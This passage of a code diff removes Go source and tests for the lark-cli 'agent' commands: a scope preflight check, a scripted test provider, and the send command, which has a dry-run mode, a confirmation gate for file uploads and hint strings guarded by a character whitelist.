-}
-
-// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
-// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
-// with EVERY missing scope named (sorted) in both the message and
-// missing_scopes, and a re-auth hint that merges the stored token scopes with
-// the provider's FULL RequiredScopes set (sorted, so re-running the login
-// command never drops an existing grant).
-func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
-		Info:        scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
-		t.Errorf("message should list all missing scopes, got %q", ve.Message)
-	}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
-	}
-	// Merged hint: existing token scopes ∪ FULL provider RequiredScopes, sorted.
-	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
-	if !strings.Contains(ve.Hint, wantScopeArg) {
-		t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
-	}
-}
-
-// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
-// preflight is skipped entirely regardless of TokenScopes.
-func TestPreflightBotSkipped(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: nil,
-		Info:        scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("bot identity should skip preflight, got %v", err)
-	}
-}
-
-// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
-// without a scope list) yields nil so the downstream not_configured /
-// need-authorization path owns the error.
-func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: nil,
-		Info:        scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("no token scope list should return nil, got %v", err)
-	}
-}
-
-// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
-// fakescoped scopes passes the all-or-nothing check.
-func TestPreflightAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("should pass when all scopes present, got %v", err)
-	}
-}
-
-// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
-// is missing even a single scope fails, and the reported missing set is exactly
-// the scopes it lacks (not just this-verb scopes — the per-verb concept is
-// gone).
-func TestPreflightMissingAnyScopeFails(t *testing.T) {
-	// Missing exactly one scope (attachment) → that one scope is reported.
-	ve := requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser,
-		TokenScopes: []string{
-			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
-		},
-		Info: scopedInfo(t),
-	}))
-	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
-		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
-	}
-
-	// Only the write scope → the other three are all reported.
-	ve = requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
-	}))
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// ---------------------------------------------------------------------------
-// Command wiring: each verb runs preflight after resolveProvider and before
-// any real API call. The stored-scope read goes through the storedUserScopes
-// seam so no test touches the real keychain; zero httpmock stubs are
-// registered, so any HTTP request would fail the test with a transport error
-// instead of the asserted missing_scope.
-// ---------------------------------------------------------------------------
-
-// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
-func swapStoredScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := storedUserScopes
-	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { storedUserScopes = old })
-}
-
-// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
-// explicitly set to user so ResolveAs honors it verbatim.
-func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
-	t.Helper()
-	parent := &cobra.Command{Use: "lark-cli"}
-	for _, name := range names {
-		child := &cobra.Command{Use: name}
-		parent.AddCommand(child)
-		parent = child
-	}
-	parent.Flags().String("as", "", "identity")
-	if err := parent.Flags().Set("as", "user"); err != nil {
-		t.Fatal(err)
-	}
-	parent.SetContext(context.Background())
-	return parent
-}
-
-// userFactory builds a test Factory + registry for a user-identity run.
-func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
-	t.Helper()
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f, reg
-}
-
-// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
-// holds none of the provider's scopes fails with missing_scope
-// (reporting the full set) and no request.
-func TestSendPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
-		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
-	}
-}
-
-// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
-// still fails the all-or-nothing check, reporting the three scopes it lacks.
-func TestSendPreflightPartialTokenBlocked(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
-// scope-free — it succeeds even when the token has none of the provider scopes.
-func TestSendDryRunSkipsPreflight(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
-	})
-	if err != nil {
-		t.Fatalf("--dry-run should not run scope preflight: %v", err)
-	}
-}
-
-// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
-func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
-		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
-// (resolveDownload path): it too runs the all-or-nothing preflight before the
-// API call.
-func TestTaskGetArtifactPreflightFires(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-		ArtifactID: "art_1", Output: "out.bin",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
-func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskListRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
-		Ref: "fakescoped:agt_x", As: "user",
-	})
-	requirePreflightError(t, err)
-}
-
-// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
-// wiring: all three run the all-or-nothing preflight.
-func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
-	runs := []struct {
-		name string
-		run  func(f *cmdutil.Factory) error
-	}{
-		{"list", func(f *cmdutil.Factory) error {
-			return agentContextListRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
-				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
-			})
-		}},
-		{"get", func(f *cmdutil.Factory) error {
-			return agentContextGetRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
-			})
-		}},
-		{"delete", func(f *cmdutil.Factory) error {
-			return agentContextDeleteRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
-			})
-		}},
-	}
-	for _, tc := range runs {
-		t.Run(tc.name, func(t *testing.T) {
-			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-			f, _ := userFactory(t)
-			requirePreflightError(t, tc.run(f))
-		})
-	}
-}
-
-// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
-// provider scope set lets the real send proceed (the scripted Send hook fires,
-// proving preflight did not false-positive).
-func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
-	swapStoredScopes(t, fakescopedAllScopes)
-	f, _ := userFactory(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
-	}})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	if err != nil {
-		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
-	}
-	if !sent {
-		t.Fatal("provider.Send should actually be called after preflight passes")
-	}
-}
-
-// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
-// gate (fakescoped card declares task_cancel=false) answers before
-// provider/preflight, so a scope-missing user token yields
-// unsupported_capability, not missing_scope — proving the wired
-// preflight does not change the gate-first ordering.
-func TestTaskCancelPreflightWired(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentTaskCancelRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	if err == nil {
-		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
-	}
-}
-
-// contains reports whether s appears in the slice.
-func contains(ss []string, s string) bool {
-	for _, x := range ss {
-		if x == s {
-			return true
-		}
-	}
-	return false
-}

cmd/agent/register_test.go

@@ -1,10 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// The example provider self-registers via init(); in production it is pulled in
-// by the top-level agent package (blank-imported from cmd/build.go), not by
-// cmd/agent. Several tests here exercise the real example scheme (example:echo /
-// example:reporter), so register it explicitly for the test binary.
-import _ "github.com/larksuite/cli/agent/example"

cmd/agent/scripted_provider_test.go

@@ -1,146 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sync"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
-// one Provider func field; an unset hook that gets called panics — a tripwire
-// against a test reaching an unexpected provider path. This replaces the old
-// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
-// the command-layer contracts under test (envelope shape, watch exit codes,
-// meta.next, pretty rendering, error propagation) are provider-neutral.
-type scriptedHooks struct {
-	send             func(in iagent.SendInput) (*iagent.AgentTask, error)
-	getTask          func(taskID string) (*iagent.AgentTask, error)
-	listTasks        func(contextID string) ([]iagent.TaskSummary, error)
-	listContexts     func() ([]iagent.ContextSummary, error)
-	getContext       func(ctxID string) (*iagent.ContextDetail, error)
-	deleteContext    func(ctxID string) error
-	downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
-}
-
-// scripted is the package-level hook set shared by every scripted provider
-// instance (the registry factory cannot be re-pointed per test, the hooks can).
-var scripted scriptedHooks
-
-// setScripted installs the hooks for one test and restores the empty (panic
-// tripwire) set on cleanup.
-func setScripted(t *testing.T, h scriptedHooks) {
-	t.Helper()
-	scripted = h
-	t.Cleanup(func() { scripted = scriptedHooks{} })
-}
-
-// newScriptedProvider builds a scripted *Provider. Its capability surface is
-// fixed by which fields are wired (the framework derives the card from this):
-// CancelTask is deliberately left unwired so task_cancel=false (the command
-// layer's cancel gate is exercised via example:echo); everything else the
-// command tests drive is wired, and FileInput=true so the --file gate/confirm
-// path is reachable. Each wired func delegates to the per-test hook and panics
-// if that hook was not set (tripwire against an unexpected provider path).
-func newScriptedProvider() *iagent.Provider {
-	return &iagent.Provider{
-		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
-			if scripted.send == nil {
-				panic("scripted provider: Send hook not set")
-			}
-			return scripted.send(in)
-		},
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			if scripted.getTask == nil {
-				panic("scripted provider: GetTask hook not set")
-			}
-			return scripted.getTask(taskID)
-		},
-		ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
-			if scripted.listTasks == nil {
-				panic("scripted provider: ListTasks hook not set")
-			}
-			return scripted.listTasks(contextID)
-		},
-		ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
-			if scripted.listContexts == nil {
-				panic("scripted provider: ListContexts hook not set")
-			}
-			return scripted.listContexts()
-		},
-		GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
-			if scripted.getContext == nil {
-				panic("scripted provider: GetContext hook not set")
-			}
-			return scripted.getContext(ctxID)
-		},
-		DeleteContext: func(ctx context.Context, ctxID string) error {
-			if scripted.deleteContext == nil {
-				panic("scripted provider: DeleteContext hook not set")
-			}
-			return scripted.deleteContext(ctxID)
-		},
-		DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
-			if scripted.downloadArtifact == nil {
-				panic("scripted provider: DownloadArtifact hook not set")
-			}
-			return scripted.downloadArtifact(taskID, artifactID)
-		},
-		FileInput: true,
-	}
-}
-
-// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
-// provider, sorted — the all-or-nothing preflight requires every one of these
-// for any real API verb.
-var fakescopedAllScopes = []string{
-	"fakescoped:agent_artifact:read",
-	"fakescoped:agent_attachment:write",
-	"fakescoped:agent_chat:read",
-	"fakescoped:agent_chat:write",
-}
-
-// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
-// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
-const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
-
-// registerScripted registers the two scripted schemes exactly once (Register
-// panics on duplicates). Like the other fakes they leak into the package-level
-// registry for the remaining tests of this package run — so no test in this
-// package may assert an exact provider set or provider count.
-//
-//   - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
-//     the workhorse for send/task/context command-layer tests.
-//   - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
-//     the scope-preflight framework tests.
-var registerScriptedOnce sync.Once
-
-func registerScripted() {
-	registerScriptedOnce.Do(func() {
-		iagent.Register("fakeflow", iagent.ProviderInfo{
-			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-				return newScriptedProvider(), nil
-			},
-			Label:          "test fake (scripted flow)",
-			AgentRefFormat: "fakeflow:<agent_id>",
-			AgentIDSource:  fakeflowAgentIDSource,
-			Kind:           iagent.KindInstance,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-		iagent.Register("fakescoped", iagent.ProviderInfo{
-			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-				return newScriptedProvider(), nil
-			},
-			Label:          "test fake (scoped)",
-			AgentRefFormat: "fakescoped:<agent_id>",
-			AgentIDSource:  "test only",
-			Kind:           iagent.KindInstance,
-			RequiredScopes: fakescopedAllScopes,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-	})
-}

cmd/agent/send.go

@@ -1,341 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"regexp"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendOptions holds all inputs for `agent send <ref>`.
-type sendOptions struct {
-	Factory   *cmdutil.Factory
-	Cmd       *cobra.Command
-	Ref       string
-	Text      string
-	Files     []string
-	Params    []string
-	ContextID string
-	TaskID    string
-	DryRun    bool
-	Yes       bool
-	As        string
-	Format    string
-}
-
-// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
-// agent, starting a new task or continuing an existing one. `--dry-run`
-// validates the inputs against the agent Card and prints the request preview
-// without any API call (always available). A send fires and returns the
-// current task immediately; poll progress with
-// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
-// `--file` uploads local files to the remote agent — the content leaves this
-// machine. Risk=write. runF, when non-nil, replaces the production run path
-// (test seam).
-func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
-	opts := &sendOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "send <agent_ref>",
-		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
-		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
-			"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
-			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
-			"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
-		Args: exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			if runF != nil {
-				return runF(opts)
-			}
-			return agentSendRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文（必填）")
-	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
-	cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value，可重复（据 card 的 parameters 决定）")
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
-	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
-	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// agentSendRun validates the send inputs, resolves the provider, and either
-// prints a dry-run preview or dispatches the message. The two client-side input
-// guards (empty --text; --task-id without --context-id) run first so they never
-// touch the network and hold even under a nil Factory. A send fires once
-// and returns the current task immediately (exit 0); the caller polls progress
-// via the meta.next `task get ... --watch` hint.
-func agentSendRun(opts *sendOptions) error {
-	if opts.Text == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
-			WithParam("--text").
-			WithHint(`补充 --text "<消息内容>" 后重发`)
-	}
-	if opts.TaskID != "" && opts.ContextID == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--task-id 需与 --context-id 一起使用").
-			WithParam("--task-id").
-			WithHint("--task-id 必须与 --context-id 同时提供")
-	}
-
-	f := opts.Factory
-	// Card lookup + --param validation + --dry-run are API-free:
-	// resolve without a configured client so they work — and surface validation
-	// errors as exit 2 — before the config gate, even when unconfigured.
-	p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-
-	r, err := iagent.ParseRef(opts.Ref)
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
-	if err != nil {
-		return err
-	}
-	params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
-	if err != nil {
-		return err
-	}
-
-	in := iagent.SendInput{
-		Text:      opts.Text,
-		Files:     opts.Files,
-		Params:    params,
-		ContextID: opts.ContextID,
-		TaskID:    opts.TaskID,
-	}
-
-	// --dry-run is a client-side behavior: always available, never
-	// gated by the Card's dry_run capability, and never touches the API.
-	if opts.DryRun {
-		return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
-	}
-
-	if len(in.Files) > 0 {
-		// An agent that does not declare file_input cannot take an upload, so
-		// --file against it is unsupported_capability — gated before any network
-		// access, so the user is not told "confirm the upload" for a send that
-		// would be rejected anyway.
-		if !card.Supports(iagent.CapFileInput) {
-			return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
-		}
-		// --file exfiltrates local file content off this machine (the provider
-		// reads the file and uploads it to the remote agent). That is an
-		// irreversible, CLI-enforced high-risk write: a real send that would upload
-		// requires --yes, returning confirmation_required (exit 10) before any
-		// network access. dry-run above is exempt — it never uploads.
-		if !opts.Yes {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
-				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
-				WithHint("确认要外发这些文件后，加 --yes 重发")
-		}
-	}
-
-	// A real send calls the API, so it needs a configured client; resolve it now
-	// (not_configured / exit 3 here is correct for an actual API call).
-	pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-
-	// Local scope preflight: after resolveProvider, before the API call.
-	// The check is all-or-nothing — any real API verb requires the provider's
-	// full scope set.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	task, err := pc.Send(opts.Cmd.Context(), in)
-	if err != nil {
-		return err
-	}
-	normalizeTask(task)
-
-	// A send fires and returns the current task immediately (exit 0). Progress is
-	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
-	// hint — send no longer blocks on the task reaching a stop condition.
-	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
-}
-
-// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
-// reconstructed from the validated input, so a caller can inspect exactly what
-// a real send would post without contacting the agent. format=pretty (no --jq)
-// renders the same fields as key: value lines instead of the envelope.
-func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
-	if format == "pretty" && jqExpr(cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintln(out, "dry_run: true")
-		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
-		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
-		if len(in.Files) > 0 {
-			fmt.Fprintf(out, "files: %d\n", len(in.Files))
-		}
-		if len(in.Params) > 0 {
-			fmt.Fprintf(out, "params: %d\n", len(in.Params))
-		}
-		if in.ContextID != "" {
-			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
-		}
-		if in.TaskID != "" {
-			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
-		}
-		return nil
-	}
-
-	would := map[string]interface{}{
-		"agent_ref": ref,
-		"text":      in.Text,
-	}
-	if len(in.Files) > 0 {
-		would["files"] = in.Files
-	}
-	if len(in.Params) > 0 {
-		would["params"] = in.Params
-	}
-	if in.ContextID != "" {
-		would["context_id"] = in.ContextID
-	}
-	if in.TaskID != "" {
-		would["task_id"] = in.TaskID
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"dry_run":    true,
-			"would_send": would,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// nextIDPattern is the character whitelist for server-supplied identifiers
-// (task_id / context_id) before they are interpolated into a meta.next command
-// string: letters, digits, '_' and '-' only. It is deliberately stricter than
-// validate.ResourceName — that check is a denylist aimed at URL-path safety and
-// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
-// exactly what matters here: meta.next is defined as "AI executes this
-// verbatim", so a server-controlled id is a command-injection surface.
-var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
-
-// safeNextID reports whether s may be interpolated into a meta.next command.
-func safeNextID(s string) bool {
-	return nextIDPattern.MatchString(s)
-}
-
-// nextRefPattern is the whitelist for a user-supplied ref before it is
-// interpolated into a meta.next command or a hint command string: the
-// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
-// shape ParseRef accepts, further restricted to command-safe characters). A
-// ref is not server-controlled — the threat model is not injection but
-// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
-// be executed verbatim), so a failing ref simply drops the command hint.
-var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
-
-// safeNextRef reports whether ref may be interpolated into a meta.next / hint
-// command string.
-func safeNextRef(ref string) bool {
-	return nextRefPattern.MatchString(ref)
-}
-
-// nextForTask builds the meta.next[] hints for a send result: a terminal task
-// suggests fetching its artifacts / detail, a still-running task the poll
-// command, an input_required task the continue command, and an auth_required
-// task the re-authorize flow (auth login, not a text continuation). AI callers use
-// these to chain the next step without guessing the command shape, so every
-// value interpolated here must pass its whitelist first: the ref (safeNextRef)
-// and the task_id (safeNextID) each suppress the whole hint when they fail
-// (prefer dropping the hint over risking injection); a failing context_id
-// degrades to the <context_id> placeholder,
-// which keeps the hint while interpolating nothing untrusted. A hint whose
-// command carries <...> placeholders is marked Template so callers know it
-// needs substitution before execution.
-func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
-	if !safeNextRef(ref) {
-		return nil
-	}
-	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
-		return nil
-	}
-	if task.State.ShouldStopPolling() {
-		if task.State == iagent.StateAuthRequired {
-			// auth_required is an agent-side task state — the end user must
-			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
-			// NOT a text continuation like input_required. Point at the auth
-			// re-authorize flow instead of a text continuation. The concrete scopes are the
-			// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
-			// placeholder → Template. ref/task_id are already whitelisted above, so
-			// echoing the re-check command in the label is safe.
-			return []output.NextAction{{
-				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agent task get %s %s）", ref, task.TaskID),
-				Command:  `lark-cli auth login --scope "<required_scopes>"`,
-				Template: true,
-			}}
-		}
-		if task.State == iagent.StateInputRequired {
-			// A send that already needs input: point at the continue command
-			// against the same task/context. The --text value is
-			// always a placeholder, so this hint is a template — which is also why
-			// a missing or whitelist-failing context_id can degrade to the
-			// <context_id> placeholder instead of dropping the hint.
-			ctxID := task.ContextID
-			if ctxID == "" || !safeNextID(ctxID) {
-				ctxID = "<context_id>"
-			}
-			return []output.NextAction{{
-				Label:    "补充输入后向同一任务续发",
